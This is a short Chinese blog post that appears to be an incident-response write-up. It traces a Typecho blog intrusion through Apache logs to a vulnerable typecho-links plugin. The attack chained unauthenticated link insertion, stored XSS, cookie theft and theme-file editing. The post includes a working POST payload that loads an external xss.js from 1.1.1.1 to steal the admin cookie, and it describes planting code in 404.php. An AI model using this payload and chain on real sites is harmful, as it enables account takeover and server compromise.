本文作者:Lz1y
基友 szrzvdny
的朋友博客被入侵了,由于是虚拟空间,所以只有 apache 访问日志以供分析
这里的日志已经做去敏操作了,以供学习:
https://pan.baidu.com/s/1JUII7_ZOK1SIxnWxlzu0Hw 密码: bykr
整个事情发生的挺突然的,我也是第一次搞这种溯源、应急响应的东西~一想到说不定就拿到了 typecho
的 0day,其实还是很激动的。
首先分析日志,Linux 可以用 grep
我:Windows、Notepad++
首先搜一搜常用的恶意函数,例如 Eval、assert、phpinfo()、pwd 等等
搜索 PHPINFO() 的时候,找到了大量的 404 页面访问记录
最后通过分析,得到了一句话木马地址为 /1.php
以及 /1_1.php
由于 Apache 的 log 默认不记录 post 数据,这些文件像是凭空出现一般,接下来我们通过 IP 来反查!
通过访问一句话木马的频率,得到了以下可疑 IP:
223.104.170.145 103.250.73.27 112.120.33.163
根据访问时间,以及访问动作,锁定 112.120.33.163
为攻击者 IP
可以看到嫌疑人通过两天的踩点,在 3 月 16 日访问了 /index.php/action/links-edit
后,3 月 18 日入侵进了后台。
可能你跟我想的一样,对没错,这就是通过 XSS 入侵的一次安全事件
github 看了源码之后发现,源程序并无 action/links-edit
这些函数方法
而这一切的问题都出在一款插件上: `typecho-links
https://www.boke8.net/typecho-links-plugin.html
该插件是一款管理友情链接的拓展
主要的漏洞利用链:
垂直越权(前台添加 links)— XSS( links 未过滤,直接入库)— CSRF (直接以管理员权限执行某些操作)
简单分析下源码~
越权,未验证用户权限
XSS,未过滤标签
搭建好博客,然后添加插件,退出登录
POST URL,虽然并未登陆,但是显示 Link 已经添加
确实添加成功了。
接下来插入 xss payload
:
name=<script src='http://1.1.1.1/xss.js'></script>&url=http%3A%2F%2Faaaaa&sort=aaa&image=&description=aaa&user=&do=insert&lid=
xss.js
通过引入 JQuery 以及调用 Ajax 方法,传递 cookie
得到了 cookie,进入后台后
通过:
/admin/theme-editor.php?theme=default&file=404.php
然后访问不存在的页面,触发包含 404.php
就可以了~
写的十分粗糙,旨在记录一下第一次分析日志的经历~